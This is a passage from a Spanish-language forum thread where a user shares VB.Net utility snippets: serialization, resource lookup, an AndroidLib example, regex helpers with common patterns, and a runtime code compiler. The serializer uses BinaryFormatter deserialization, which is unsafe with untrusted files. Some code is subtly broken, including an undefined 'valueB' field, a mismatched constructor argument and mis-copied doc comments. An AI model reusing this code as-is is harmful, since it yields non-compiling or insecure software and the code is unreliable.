  189.                Case GetType(XmlSerializer)
  190.                    Return DirectCast(DirectCast(serializer, XmlSerializer).Deserialize(fs), T)
  191.  
  192.            End Select
  193.  
  194.        End Using
  195.  
  196.    End Function
  197.  
  198.    ''' ----------------------------------------------------------------------------------------------------
  199.    ''' <summary>
  200.    ''' Deserializes the data of an Object from the specified file, using the specified deserialization format.
  201.    ''' </summary>
  202.    ''' ----------------------------------------------------------------------------------------------------
  203.    ''' <typeparam name="T">
  204.    ''' </typeparam>
  205.    '''
  206.    ''' <param name="filepath">
  207.    ''' The filepath where from deserialize the serialized data.
  208.    ''' </param>
  209.    '''
  210.    ''' <param name="format">
  211.    ''' The serialization format.
  212.    ''' </param>
  213.    ''' ----------------------------------------------------------------------------------------------------
  214.    <DebuggerStepThrough>
  215.    <DebuggerHidden>
  216.    Public Shared Sub Deserialize(Of T)(ByRef refObj As T,
  217.                                        ByVal filepath As String,
  218.                                        ByVal format As SerializationFormat)
  219.  
  220.        refObj = SerializationUtil.Deserialize(Of T)(filepath, format)
  221.  
  222.    End Sub
  223.  
  224.    ''' ----------------------------------------------------------------------------------------------------
  225.    ''' <summary>
  226.    ''' Determines whether the specified <see cref="Type"/> can be serialized.
  227.    ''' </summary>
  228.    ''' ----------------------------------------------------------------------------------------------------
  229.    ''' <typeparam name="T">
  230.    ''' The <see cref="Type"/> to check.
  231.    ''' </typeparam>
  232.    ''' ----------------------------------------------------------------------------------------------------
  233.    ''' <returns>
  234.    ''' <c>True</c> if the specified <see cref="Type"/> can be serialized; otherwise, <c>False</c>.
  235.    ''' </returns>
  236.    ''' ----------------------------------------------------------------------------------------------------
  237.    Public Shared Function IsTypeSerializable(Of T)() As Boolean
  238.  
  239.        Return Attribute.IsDefined(GetType(T), GetType(SerializableAttribute))
  240.  
  241.    End Function
  242.  
  243.    ''' ----------------------------------------------------------------------------------------------------
  244.    ''' <summary>
  245.    ''' Determines whether the specified <see cref="Type"/> can be serialized.
  246.    ''' </summary>
  247.    ''' ----------------------------------------------------------------------------------------------------
  248.    ''' <typeparam name="T">
  249.    ''' </typeparam>
  250.    '''
  251.    ''' <param name="type">
  252.    ''' The <see cref="Type"/> to check.
  253.    ''' </param>
  254.    ''' ----------------------------------------------------------------------------------------------------
  255.    ''' <returns>
  256.    ''' <c>True</c> if the specified <see cref="Type"/> can be serialized; otherwise, <c>False</c>.
  257.    ''' </returns>
  258.    ''' ----------------------------------------------------------------------------------------------------
  259.    Public Shared Function IsTypeSerializable(Of T)(ByVal type As T) As Boolean
  260.  
  261.        Return SerializationUtil.IsTypeSerializable(Of T)()
  262.  
  263.    End Function
  264.  
  265.    ''' ----------------------------------------------------------------------------------------------------
  266.    ''' <summary>
  267.    ''' Determines whether the specified object can be serialized.
  268.    ''' </summary>
  269.    ''' ----------------------------------------------------------------------------------------------------
  270.    ''' <typeparam name="T">
  271.    ''' </typeparam>
  272.    '''
  273.    ''' <param name="obj">
  274.    ''' The object to check.
  275.    ''' </param>
  276.    ''' ----------------------------------------------------------------------------------------------------
  277.    ''' <returns>
  278.    ''' <c>True</c> if the specified object can be serialized; otherwise, <c>False</c>.
  279.    ''' </returns>
  280.    ''' ----------------------------------------------------------------------------------------------------
  281.    Public Shared Function IsObjectSerializable(Of T)(ByVal obj As T,
  282.                                                      ByVal format As SerializationFormat) As Boolean
  283.  
  284.        Dim serializer As Object = SerializationUtil.GetSerializer(obj, format)
  285.  
  286.        Using fs As New MemoryStream
  287.  
  288.            Try
  289.                Select Case serializer.GetType
  290.  
  291.                    Case GetType(BinaryFormatter)
  292.                        DirectCast(serializer, BinaryFormatter).Serialize(fs, obj)
  293.  
  294.                    Case GetType(XmlSerializer)
  295.                        DirectCast(serializer, XmlSerializer).Serialize(fs, obj)
  296.  
  297.                End Select
  298.  
  299.                Return True
  300.  
  301.            Catch ex As InvalidOperationException
  302.                Return False
  303.  
  304.            Catch ex As Exception
  305.                Throw
  306.  
  307.            End Try
  308.  
  309.        End Using
  310.  
  311.    End Function
  312.  
  313. #End Region
  314.  
  315. End Class


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Septiembre 2015, 10:04 am
ResourceUtil.vb, es el comienzo de una class para administrar los recursos de la aplicación actual, aunque por el momento solo tiene un método genérico GetResources(Of T) que cómo su nombre nidica, obtiene los recursos del tipo especificado.

Para un código mucho más completo y extenso que sirve para administrar un archivo de recurso de .Net (resource.ResX) vease este otro aporte:
ResXManager.vb (http://foro.elhacker.net/net/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2018565#msg2018565)

Source:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 16-June-2015
  4. ' ***********************************************************************
  5. ' <copyright file="ResourceUtil.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Public Members Summary "
  11.  
  12. #Region " Functions "
  13.  
  14. ' ResourceUtil.GetResources(OF T)
  15.  
  16. #End Region
  17.  
  18. #End Region
  19.  
  20. #Region " Option Statements "
  21.  
  22. Option Strict On
  23. Option Explicit On
  24. Option Infer Off
  25.  
  26. #End Region
  27.  
  28. #Region " Imports "
  29.  
  30. Imports System
  31. Imports System.Globalization
  32.  
  33. #End Region
  34.  
  35. ''' <summary>
  36. ''' Contains related application's managed resource utilities.
  37. ''' </summary>
  38. Public NotInheritable Class ResourceUtil
  39.  
  40. #Region " Constructors "
  41.  
  42.    ''' ----------------------------------------------------------------------------------------------------
  43.    ''' <summary>
  44.    ''' Prevents a default instance of the <see cref="ResourceUtil"/> class from being created.
  45.    ''' </summary>
  46.    ''' ----------------------------------------------------------------------------------------------------
  47.    <DebuggerStepThrough>
  48.    Private Sub New()
  49.    End Sub
  50.  
  51. #End Region
  52.  
  53. #Region " Public Methods "
  54.  
  55.    ''' ----------------------------------------------------------------------------------------------------
  56.    ''' <remarks>
  57.    ''' Title : Get Application Resources Of Type...
  58.    ''' Author: Elektro
  59.    ''' Date  : 16-June-2015
  60.    ''' </remarks>
  61.    ''' ----------------------------------------------------------------------------------------------------
  62.    ''' <example> Get all String resources.
  63.    ''' <code>
  64.    ''' Dim resources As IEnumerable(Of DictionaryEntry) = GetResources(Of Bitmap)()
  65.    '''
  66.    ''' For Each resource As DictionaryEntry In resources
  67.    '''
  68.    '''     MsgBox(resource.Key)            '  Resource Name
  69.    '''     MsgBox(resource.Value.ToString) '  Resource Data
  70.    '''
  71.    ''' Next resource
  72.    ''' </code>
  73.    ''' </example>
  74.    ''' ----------------------------------------------------------------------------------------------------
  75.    ''' <summary>
  76.    ''' Gets the application resources of the specified type.
  77.    ''' </summary>
  78.    ''' ----------------------------------------------------------------------------------------------------
  79.    ''' <typeparam name="T">
  80.    ''' The type of the resource to find.
  81.    ''' </typeparam>
  82.    '''
  83.    ''' <param name="culture">
  84.    ''' The resource culture
  85.    ''' </param>
  86.    ''' ----------------------------------------------------------------------------------------------------
  87.    ''' <returns>
  88.    ''' <see cref="IEnumerable(Of DictionaryEntry)"/>.
  89.    ''' </returns>
  90.    ''' ----------------------------------------------------------------------------------------------------
  91.    <DebuggerStepThrough>
  92.    Public Shared Function GetResources(Of T)(Optional ByVal culture As CultureInfo = Nothing) As IEnumerable(Of DictionaryEntry)
  93.  
  94.        Return From resource As DictionaryEntry
  95.               In My.Resources.ResourceManager.
  96.                               GetResourceSet(If(culture Is Nothing,
  97.                                                 CultureInfo.CurrentCulture,
  98.                                                 culture), createIfNotExists:=True, tryParents:=True).Cast(Of DictionaryEntry)()
  99.               Where TypeOf resource.Value Is T
  100.  
  101.    End Function
  102.  
  103. #End Region
  104.  
  105. End Class










Un simple ejemplo de uso de la librería AndroidLib para .Net
https://github.com/regaw-leinad/AndroidLib

Otros ejemplos oficiales:
https://github.com/regaw-leinad/AndroidLib-Samples-VB

Source:
Código
  1. Imports RegawMOD.Android
  2.  
  3. Public Class Form1
  4.  
  5.    Dim android As AndroidController
  6.    Dim device As Device
  7.    Dim serial As String
  8.  
  9.    Private Sub Test() Handles MyBase.Shown
  10.  
  11.        ' Usually, you want to load this at startup, may take up to 5 seconds to initialize/set up resources/start server.
  12.        Me.android = AndroidController.Instance
  13.  
  14.        Using Me.android
  15.  
  16.            ' Always call UpdateDeviceList() before using AndroidController on devices, to get the most updated list.
  17.            Me.android.UpdateDeviceList()
  18.  
  19.            If Me.android.HasConnectedDevices Then
  20.  
  21.                Me.serial = android.ConnectedDevices(0)
  22.                Me.device = android.GetConnectedDevice(serial)
  23.  
  24.                device.BuildProp.Keys.
  25.                    ForEach(Sub(propertyName As String)
  26.  
  27.                                Console.WriteLine(String.Format("{0}: {1}",
  28.                                                                propertyName,
  29.                                                                device.BuildProp.GetProp(propertyName)))
  30.  
  31.                            End Sub)
  32.  
  33.            End If
  34.  
  35.        End Using
  36.  
  37.    End Sub
  38.  
  39. End Class


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Septiembre 2015, 10:07 am
RegExUtil.vb, es una class que expone funcionalidades relacionadas con las expresiones regulares, cómo validar una expresión u obtener (solamente) las posiciones de las coincidencias encontradas.

También expone algunas expresiones esándar y no tan estándar (la mayoría las tomé prestadas del aporte del compañero WHK aquí: http://foro.elhacker.net/programacion_general/hilo_oficial_solicitudes_de_expresiones_regulares-t434833.0.html )

Source:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 07-July-2015
  4. ' ***********************************************************************
  5. ' <copyright file="RegExUtil.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Public Members Summary "
  11.  
  12. #Region " Functions "
  13.  
  14. ' RegExUtil.GetMatchesPositions(Regex, String, Integer) As IEnumerable(Of RegExUtil.MatchPosition)
  15. ' RegExUtil.Validate(String, Boolean) As Boolean
  16.  
  17. #End Region
  18.  
  19. #Region " Constants "
  20.  
  21. ' RegExUtil.Patterns.CreditCard As String
  22. ' RegExUtil.Patterns.EMail As String
  23. ' RegExUtil.Patterns.HtmlTag As String
  24. ' RegExUtil.Patterns.Ipv4 As String
  25. ' RegExUtil.Patterns.Ipv6 As String
  26. ' RegExUtil.Patterns.SafeText As String
  27. ' RegExUtil.Patterns.Url As String
  28. ' RegExUtil.Patterns.USphone As String
  29. ' RegExUtil.Patterns.USssn As String
  30. ' RegExUtil.Patterns.USstate As String
  31. ' RegExUtil.Patterns.USzip As String
  32.  
  33. #End Region
  34.  
  35. #Region " Types "
  36.  
  37. ' RegExUtil.MatchPosition
  38.  
  39. #End Region
  40.  
  41. #Region " Child Classes "
  42.  
  43. ' RegExUtil.Patterns
  44.  
  45. #End Region
  46.  
  47. #End Region
  48.  
  49. #Region " Option Statements "
  50.  
  51. Option Strict On
  52. Option Explicit On
  53. Option Infer Off
  54.  
  55. #End Region
  56.  
  57. #Region " Imports "
  58.  
  59. Imports System
  60. Imports System.Collections.Generic
  61. Imports System.Linq
  62. Imports System.Text.RegularExpressions
  63.  
  64. #End Region
  65.  
  66. #Region " RegEx Util "
  67.  
  68. ''' ----------------------------------------------------------------------------------------------------
  69. ''' <summary>
  70. ''' Contains related RegEx utilities.
  71. ''' </summary>
  72. ''' ----------------------------------------------------------------------------------------------------
  73. Public NotInheritable Class RegExUtil
  74.  
  75. #Region " Types "
  76.  
  77. #Region " MatchPosition "
  78.  
  79.    ''' ----------------------------------------------------------------------------------------------------
  80.    ''' <summary>
  81.    ''' Encapsulates a text value captured by a RegEx, with its start/end index.
  82.    ''' </summary>
  83.    ''' ----------------------------------------------------------------------------------------------------
  84.    <Serializable>
  85.    Public NotInheritable Class MatchPosition
  86.  
  87. #Region " Properties "
  88.  
  89.        ''' ----------------------------------------------------------------------------------------------------
  90.        ''' <summary>
  91.        ''' Gets the text value.
  92.        ''' </summary>
  93.        ''' ----------------------------------------------------------------------------------------------------
  94.        ''' <value>
  95.        ''' The text value.
  96.        ''' </value>
  97.        ''' ----------------------------------------------------------------------------------------------------
  98.        Public ReadOnly Property Text As String
  99.            Get
  100.                Return Me.textB
  101.            End Get
  102.        End Property
  103.        ''' ----------------------------------------------------------------------------------------------------
  104.        ''' <summary>
  105.        ''' ( Backing Field )
  106.        ''' The text value.
  107.        ''' </summary>
  108.        ''' ----------------------------------------------------------------------------------------------------
  109.        Private ReadOnly textB As String
  110.  
  111.        ''' ----------------------------------------------------------------------------------------------------
  112.        ''' <summary>
  113.        ''' Gets the start index.
  114.        ''' </summary>
  115.        ''' ----------------------------------------------------------------------------------------------------
  116.        ''' <value>
  117.        ''' The start index.
  118.        ''' </value>
  119.        ''' ----------------------------------------------------------------------------------------------------
  120.        Public ReadOnly Property StartIndex As Integer
  121.            Get
  122.                Return Me.startIndexB
  123.            End Get
  124.        End Property
  125.        ''' ----------------------------------------------------------------------------------------------------
  126.        ''' <summary>
  127.        ''' ( Backing Field )
  128.        ''' The start index.
  129.        ''' </summary>
  130.        ''' ----------------------------------------------------------------------------------------------------
  131.        Private ReadOnly startIndexB As Integer
  132.  
  133.        ''' ----------------------------------------------------------------------------------------------------
  134.        ''' <summary>
  135.        ''' Gets the end index.
  136.        ''' </summary>
  137.        ''' ----------------------------------------------------------------------------------------------------
  138.        ''' <value>
  139.        ''' The end index.
  140.        ''' </value>
  141.        ''' ----------------------------------------------------------------------------------------------------
  142.        Public ReadOnly Property EndIndex As Integer
  143.            Get
  144.                Return Me.endIndexB
  145.            End Get
  146.        End Property
  147.        ''' ----------------------------------------------------------------------------------------------------
  148.        ''' <summary>
  149.        ''' ( Backing Field )
  150.        ''' The end index.
  151.        ''' </summary>
  152.        ''' ----------------------------------------------------------------------------------------------------
  153.        Private ReadOnly endIndexB As Integer
  154.  
  155.        ''' ----------------------------------------------------------------------------------------------------
  156.        ''' <summary>
  157.        ''' Gets the text length.
  158.        ''' </summary>
  159.        ''' ----------------------------------------------------------------------------------------------------
  160.        ''' <value>The text length.</value>
  161.        ''' ----------------------------------------------------------------------------------------------------
  162.        Public ReadOnly Property Length As Integer
  163.            Get
  164.                Return Me.valueB.Length
  165.            End Get
  166.        End Property
  167.  
  168. #End Region
  169.  
  170. #Region " Constructors "
  171.  
  172.        ''' ----------------------------------------------------------------------------------------------------
  173.        ''' <summary>
  174.        ''' Prevents a default instance of the <see cref="MatchPosition"/> class from being created.
  175.        ''' </summary>
  176.        ''' ----------------------------------------------------------------------------------------------------
  177.        Private Sub New()
  178.        End Sub
  179.  
  180.        ''' ----------------------------------------------------------------------------------------------------
  181.        ''' <summary>
  182.        ''' Initializes a new instance of the <see cref="MatchPosition"/> class.
  183.        ''' </summary>
  184.        ''' ----------------------------------------------------------------------------------------------------
  185.        ''' <param name="text">
  186.        ''' The rtext value.
  187.        ''' </param>
  188.        '''
  189.        ''' <param name="startIndex">
  190.        ''' The start index.
  191.        ''' </param>
  192.        ''' ----------------------------------------------------------------------------------------------------
  193.        Public Sub New(ByVal text As String,
  194.                       ByVal startIndex As Integer)
  195.  
  196.            Me.textB = text
  197.            Me.startIndexB = startIndex
  198.            Me.endIndexB = (startIndex + text.Length)
  199.  
  200.        End Sub
  201.  
  202. #End Region
  203.  
  204.    End Class
  205.  
  206. #End Region
  207.  
  208. #End Region
  209.  
  210. #Region " Child Classes "
  211.  
  212. #Region " Patterns "
  213.  
  214.    ''' ----------------------------------------------------------------------------------------------------
  215.    ''' <summary>
  216.    ''' A class that exposes common RegEx patterns.
  217.    ''' </summary>
  218.    ''' ----------------------------------------------------------------------------------------------------
  219.    Public NotInheritable Class Patterns
  220.  
  221. #Region " Constants "
  222.  
  223.        ''' ----------------------------------------------------------------------------------------------------
  224.        ''' <summary>
  225.        ''' A pattern that matches an URL.
  226.        '''
  227.        ''' For Example:
  228.        ''' http://url
  229.        ''' ftp://url
  230.        ''' </summary>
  231.        ''' ----------------------------------------------------------------------------------------------------
  232.        Public Const Url As String =
  233.            "^((((https?|ftps?|gopher|telnet|nntp)://)|(mailto:|news:))(%[0-9A-Fa-f]{2}|[-()_.!~*';/?:@&=+$,A-Za-z0-9])+)([).!';/?:,][[:blank:]])?$"
  234.  
  235.        ''' ----------------------------------------------------------------------------------------------------
  236.        ''' <summary>
  237.        ''' A pattern that matches the content of an Html enclosed tag.
  238.        ''' </summary>
  239.        ''' ----------------------------------------------------------------------------------------------------
  240.        Public Const HtmlTag As String =
  241.            ">([^<]+?)<"
  242.  
  243.        ''' ----------------------------------------------------------------------------------------------------
  244.        ''' <summary>
  245.        ''' A pattern that matches an IPv4 address.
  246.        '''
  247.        ''' For Example:
  248.        ''' 127.0.0.1
  249.        ''' </summary>
  250.        ''' ----------------------------------------------------------------------------------------------------
  251.        Public Const Ipv4 As String =
  252.            "((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])"
  253.  
  254.        ''' ----------------------------------------------------------------------------------------------------
  255.        ''' <summary>
  256.        ''' A pattern that matches an IPv6 address.
  257.        '''
  258.        ''' For Example:
  259.        ''' FE80:0000:0000:0000:0202:B3FF:FE1E:8329
  260.        ''' </summary>
  261.        ''' ----------------------------------------------------------------------------------------------------
  262.        Public Const Ipv6 As String =
  263.            "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
  264.  
  265.        ''' ----------------------------------------------------------------------------------------------------
  266.        ''' <summary>
  267.        ''' A pattern that matches a valid e-mail address.
  268.        '''
  269.        ''' For Example:
  270.        '''
  271.        ''' </summary>
  272.        ''' ----------------------------------------------------------------------------------------------------
  273.        Public Const EMail As String =
  274.            "^[a-zA-Z0-9+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,7}$"
  275.  
  276.        ''' ----------------------------------------------------------------------------------------------------
  277.        ''' <summary>
  278.        ''' A pattern that matches lower and upper case letters and all digits.
  279.        '''
  280.        ''' For Example:
  281.        '''
  282.        ''' </summary>
  283.        ''' ----------------------------------------------------------------------------------------------------
  284.        Public Const SafeText As String =
  285.            "^[a-zA-Z0-9 .-]+$"
  286.  
  287.        ''' ----------------------------------------------------------------------------------------------------
  288.        ''' <summary>
  289.        ''' A pattern that matches a valid credit card number.
  290.        '''
  291.        ''' For Example:
  292.        '''
  293.        ''' </summary>
  294.        ''' ----------------------------------------------------------------------------------------------------
  295.        Public Const CreditCard As String =
  296.            "^((4\d{3})|(5[1-5]\d{2})|(6011)|(7\d{3}))-?\d{4}-?\d{4}-?\d{4}|3[4,7]\d{13}$"
  297.  
  298.        ''' ----------------------------------------------------------------------------------------------------
  299.        ''' <summary>
  300.        ''' A pattern that matches an United States zip code with optional dash-four.
  301.        '''
  302.        ''' For Example:
  303.        '''
  304.        ''' </summary>
  305.        ''' ----------------------------------------------------------------------------------------------------
  306.        Public Const USzip As String =
  307.            "^\d{5}(-\d{4})?$"
  308.  
  309.        ''' ----------------------------------------------------------------------------------------------------
  310.        ''' <summary>
  311.        ''' A pattern that matches an United States phone number with or without dashes.
  312.        '''
  313.        ''' For Example:
  314.        '''
  315.        ''' </summary>
  316.        ''' ----------------------------------------------------------------------------------------------------
  317.        Public Const USphone As String =
  318.            "^\D?(\d{3})\D?\D?(\d{3})\D?(\d{4})$"
  319.  
  320.        ''' ----------------------------------------------------------------------------------------------------
  321.        ''' <summary>
  322.        ''' A pattern that matches a 2 letter United States state abbreviations.
  323.        '''
  324.        ''' For Example:
  325.        '''
  326.        ''' </summary>
  327.        ''' ----------------------------------------------------------------------------------------------------
  328.        Public Const USstate As String =
  329.            "^(AE|AL|AK|AP|AS|AZ|AR|CA|CO|CT|DE|DC|FM|FL|GA|GU|HI|ID|IL|IN|IA|KS|KY|LA|ME|MH|MD|MA|MI|MN|MS|MO|MP|MT|NE|NV|NH|NJ|NM|NY|NC|ND|OH|OK|OR|PW|PA|PR|RI|SC|SD|TN|TX|UT|VT|VI|VA|WA|WV|WI|WY)$"
  330.  
  331.        ''' ----------------------------------------------------------------------------------------------------
  332.        ''' <summary>
  333.        ''' A pattern that matches a 9 digit United States social security number with dashes.
  334.        '''
  335.        ''' For Example:
  336.        '''
  337.        ''' </summary>
  338.        ''' ----------------------------------------------------------------------------------------------------
  339.        Public Const USssn As String =
  340.            "^\d{3}-\d{2}-\d{4}$"
  341.  
  342. #End Region
  343.  
  344.    End Class
  345.  
  346. #End Region
  347.  
  348. #End Region
  349.  
  350. #Region " Public Methods "
  351.  
  352.    ''' ----------------------------------------------------------------------------------------------------
  353.    ''' <summary>
  354.    ''' Validates the specified regular expression pattern.
  355.    ''' </summary>
  356.    ''' ----------------------------------------------------------------------------------------------------
  357.    ''' <param name="pattern">
  358.    ''' The RegEx pattern.
  359.    ''' </param>
  360.    '''
  361.    ''' <param name="ignoreErrors">
  362.    ''' If set to <c>true</c>, ignore validation errors, otherwise, throws an exception if validation fails.
  363.    ''' </param>
  364.    ''' ----------------------------------------------------------------------------------------------------
  365.    ''' <returns>
  366.    ''' <c>True</c> if pattern validation success, <c>False</c> otherwise.
  367.    ''' </returns>
  368.    ''' ----------------------------------------------------------------------------------------------------
  369.    <DebuggerStepThrough>
  370.    Public Shared Function Validate(ByVal pattern As String,
  371.                                    Optional ByVal ignoreErrors As Boolean = True) As Boolean
  372.  
  373.        Try
  374.            Dim regEx As New Regex(pattern:=pattern)
  375.            Return True
  376.  
  377.        Catch ex As Exception
  378.            If Not ignoreErrors Then
  379.                Throw
  380.            End If
  381.            Return False
  382.  
  383.        End Try
  384.  
  385.    End Function
  386.  
  387.    ''' ----------------------------------------------------------------------------------------------------
  388.    ''' <example><code>
  389.    ''' Dim regEx As New Regex("Dog", RegexOptions.IgnoreCase)
  390.    '''
  391.    ''' Dim text As String = "One Dog!, Two Dogs!, three Dogs!"
  392.    ''' RichTextBox1.Text = text
  393.    '''
  394.    ''' Dim matchesPos As IEnumerable(Of RegExUtil.MatchPosition) = RegExUtil.GetMatchesPositions(regEx, text, groupIndex:=0)
  395.    '''
  396.    ''' For Each matchPos As RegExUtil.MatchPosition In matchesPos
  397.    '''
  398.    '''     Console.WriteLine(text.Substring(matchPos.StartIndex, matchPos.Length))
  399.    '''
  400.    '''     With RichTextBox1
  401.    '''         .SelectionStart = matchPos.StartIndex
  402.    '''         .SelectionLength = matchPos.Length
  403.    '''         .SelectionBackColor = Color.IndianRed
  404.    '''         .SelectionColor = Color.WhiteSmoke
  405.    '''         .SelectionFont = New Font(RichTextBox1.Font.Name, RichTextBox1.Font.SizeInPoints, FontStyle.Bold)
  406.    '''     End With
  407.    '''
  408.    ''' Next matchPos
  409.    '''
  410.    ''' With RichTextBox1
  411.    '''     .SelectionStart = 0
  412.    '''     .SelectionLength = 0
  413.    ''' End With
  414.    ''' </code></example>
  415.    ''' ----------------------------------------------------------------------------------------------------
  416.    ''' <summary>
  417.    ''' Validates the specified regular expression pattern.
  418.    ''' </summary>
  419.    ''' ----------------------------------------------------------------------------------------------------
  420.    ''' <param name="regEx">
  421.    ''' The RegEx pattern.
  422.    ''' </param>
  423.    '''
  424.    ''' <param name="text">
  425.    ''' If set to <c>true</c>, ignore validation errors, otherwise, throws an exception if validation fails.
  426.    ''' </param>
  427.    '''
  428.    ''' <param name="groupIndex">
  429.    ''' If set to <c>true</c>, ignore validation errors, otherwise, throws an exception if validation fails.
  430.    ''' </param>
  431.    ''' ----------------------------------------------------------------------------------------------------
  432.    ''' <returns>
  433.    ''' <c>True</c> if pattern validation success, <c>False</c> otherwise.
  434.    ''' </returns>
  435.    ''' ----------------------------------------------------------------------------------------------------
  436.    <DebuggerStepThrough>
  437.    Public Shared Iterator Function GetMatchesPositions(ByVal regEx As Regex,
  438.                                                        ByVal text As String,
  439.                                                        Optional ByVal groupIndex As Integer = 0) As IEnumerable(Of MatchPosition)
  440.  
  441.        Dim match As Match = regEx.Match(text)
  442.  
  443.        Do While match.Success
  444.  
  445.            Yield New MatchPosition(value:=match.Groups(groupIndex).Value,
  446.                                    startIndex:=match.Groups(groupIndex).Index)
  447.  
  448.            match = match.NextMatch
  449.  
  450.        Loop
  451.  
  452.    End Function
  453.  
  454. #End Region
  455.  
  456. End Class
  457.  
  458. #End Region


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Septiembre 2015, 18:22 pm
CodeDomUtil.vb, una class que sirve para compilar, en tiempo de ejecución, código o archivos/soluciones escritos en VB.Net o C#.

CodeDomUtil.vb sustituye por completo a la antigua versión publicada aquí:
http://foro.elhacker.net/net/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2021481#msg2021481

Añadí dos classes hijas que separan las funcionalidades (aunque basicamente son las mismas), estas son:
  • CodeDomUtil.VisualBasicCompiler
  • CodeDomUtil.CSharpCompiler

También añadí el evento CodeDomUtil.Compiler.CompilerWorkDone para desarrollar de manera más amistosa ...al suscribirse a este evento, vaya.

También hay definidas algunas plantillas de VB.Net y C#, plantila de consola, de WinForms, y de librería, pero estas plantillas más que para ser utilizadas sirven solamente cómo ejemplo (para testear el compiler o para mostrarle una estructura de código inicial al usuario). y más cosas que me dejo por nombrar.

El código fuente, aviso, son casi 2.000 lineas de código fuente, convendría separar las classes hijas, enumeraciones, constantes y demás para organizarlas en archivos distintos:
http://pastebin.com/Z7HMx5sg

Un ejemplo del compilador de VB.Net:
Código
  1. Public NotInheritable Class Form1 : Inherits Form
  2.  
  3.    ''' ----------------------------------------------------------------------------------------------------
  4.    ''' <summary>
  5.    ''' The VisualBasic.Net compiler instance.
  6.    ''' </summary>
  7.    ''' ----------------------------------------------------------------------------------------------------
  8.    Dim WithEvents vbCompiler As CodeDomUtil.Compiler =
  9.        New CodeDomUtil.VisualBasicCompiler(CodeDomUtil.CompilerVersions.V4)
  10.  
  11.    Private Sub Form1_Shown() Handles MyBase.Shown
  12.  
  13.        With Me.vbCompiler.Compilersettings
  14.            .GenerateDebugInformation = True
  15.            .GenerateWarnings = True
  16.            .GenerateXmlDocumentation = True
  17.            .HighEntropyEnabled = True
  18.            .IntegerOverflowChecksEnabled = False
  19.            .OptimizationsEnabled = True
  20.            .Platform = CodeDomUtil.Platform.AnyCpu
  21.            .SubsystemVersion = CodeDomUtil.SubsystemVersions.WindowsXP
  22.            .TreatWarningsAsErrors = False
  23.            .Verbose = True
  24.            .VerboseSyntax = False
  25.            .WarningLevel = CodeDomUtil.WarningLevelEnum.Level3
  26.            .LibraryPaths.Add(IO.Directory.GetCurrentDirectory)
  27.        End With
  28.  
  29.        Dim referencedAssemblies As New List(Of String)
  30.        referencedAssemblies.AddRange({"System.dll", "System.Windows.Forms.dll"})
  31.  
  32.        ' Compile a VB Console App from string.
  33.        vbCompiler.CompileFromString(netAssembly:=CodeDomUtil.NetAssembly.Console,
  34.                                     targetFile:="C:\VB Default Console App.exe",
  35.                                     sourceCode:=CodeDomUtil.Templates.TemplateVbConsoleApp,
  36.                                     mainMemberName:="MainNamespace.MainModule",
  37.                                     referencedAssemblies:=referencedAssemblies,
  38.                                     resources:=Nothing,
  39.                                     iconFile:=Nothing)
  40.  
  41.        ' Compile a VB WinForms App from string.
  42.        vbCompiler.CompileFromString(netAssembly:=CodeDomUtil.NetAssembly.WinExe,
  43.                                     targetFile:="C:\VB Default WinForms App.exe",
  44.                                     sourceCode:=CodeDomUtil.Templates.TemplateVbWinFormsApp,
  45.                                     mainMemberName:="MainNamespace.MainClass",
  46.                                     referencedAssemblies:=referencedAssemblies,
  47.                                     resources:=Nothing,
  48.                                     iconFile:=Nothing)
  49.  
  50.        ' Compile a VB library from string.
  51.        vbCompiler.CompileFromString(netAssembly:=CodeDomUtil.NetAssembly.DynamicLinkLibrary,
  52.                                     targetFile:="C:\VB Default Library.dll",
  53.                                     sourceCode:=CodeDomUtil.Templates.TemplateVbLib,
  54.                                     mainMemberName:="MainNamespace.MainClass",
  55.                                     referencedAssemblies:=referencedAssemblies,
  56.                                     resources:=Nothing,
  57.                                     iconFile:=Nothing)
  58.  
  59.        ' Compile a VB local file that contains the sourcecode.
  60.        vbCompiler.CompileFromFile(netAssembly:=CodeDomUtil.NetAssembly.WinExe,
  61.                                   targetFile:="C:\VB Custom App.exe",
  62.                                   sourceFile:="C:\SourceCode.vb",
  63.                                   mainMemberName:="MainNamespace.MainClass",
  64.                                   referencedAssemblies:=referencedAssemblies,
  65.                                   resources:=Nothing,
  66.                                   iconFile:=Nothing)
  67.  
